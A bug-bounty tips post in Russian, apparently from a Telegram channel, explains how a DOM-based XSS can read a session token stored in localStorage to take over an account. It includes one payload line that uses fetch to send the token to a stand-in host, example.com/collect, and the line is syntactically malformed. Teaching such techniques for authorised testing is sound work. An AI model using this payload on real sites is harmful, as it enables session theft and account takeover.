TGViewer
Standoff Bug Bounty Tips Standoff Bug Bounty Tips @standoff_bb_tips · 1.66K subscribers
Post #44 1.08K
👌 DOM-based XSS + localStorage = ATO

Нашли DOM-based XSS и заметили, что приложение использует современный JavaScript-фреймворк? Скорее всего, сессионный токен хранится в localStorage браузера — и это может помочь захватить аккаунт 🤑

Обычно чувствительные куки защищены флагом HttpOnly, чтобы JavaScript не мог их прочитать. Это снижает риск дальнейшей эксплуатации XSS.

Но разработчикам часто нужно отправлять защищенный токен вместе с запросами к API. В таком случае они сохраняют его в localStorage. Это значит, что JavaScript имеет к нему прямой доступ и может легко подставлять в запросы.

И да — если у вас есть DOM-based XSS на этом же домене, вы тоже можете вытащить токен.
Вот пример полезной нагрузки, которая отправляет токен на сервер с помощью fetch:

await fetch (https://example.com/collect?token=${encodeURIComponent(localStorage.getItem('session_token'))}')
  • ❤ 10
  • 🔥 7
  • 👏 4
  • 👎 3
More from @standoff_bb_tips
  1. Oct 11, 2026Что скрывается в имени HTML-тега? Может быть, JavaScript? Gareth Heyes из PortSwigger пока…
  2. Oct 4, 2026Хочешь прокачать своего багбаунти-агента ❓ Обрати внимание на Model-Context-Protocol (MCP)…
  3. Oct 3, 2026Эксплуатация багов, связанных с ошибками в бизнес-логике 🤔 Логические баги — это когда ко…
  4. Sep 7, 2026Post #255
  5. Sep 5, 2026Мы накидали 6 разных вариантов атак для простого GET-запроса на редактирование профиля ⤵️…
  6. Aug 15, 2026Stored XSS через картинку: проверь Content-Type override 😵‍💫 Иногда загрузка изображений…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →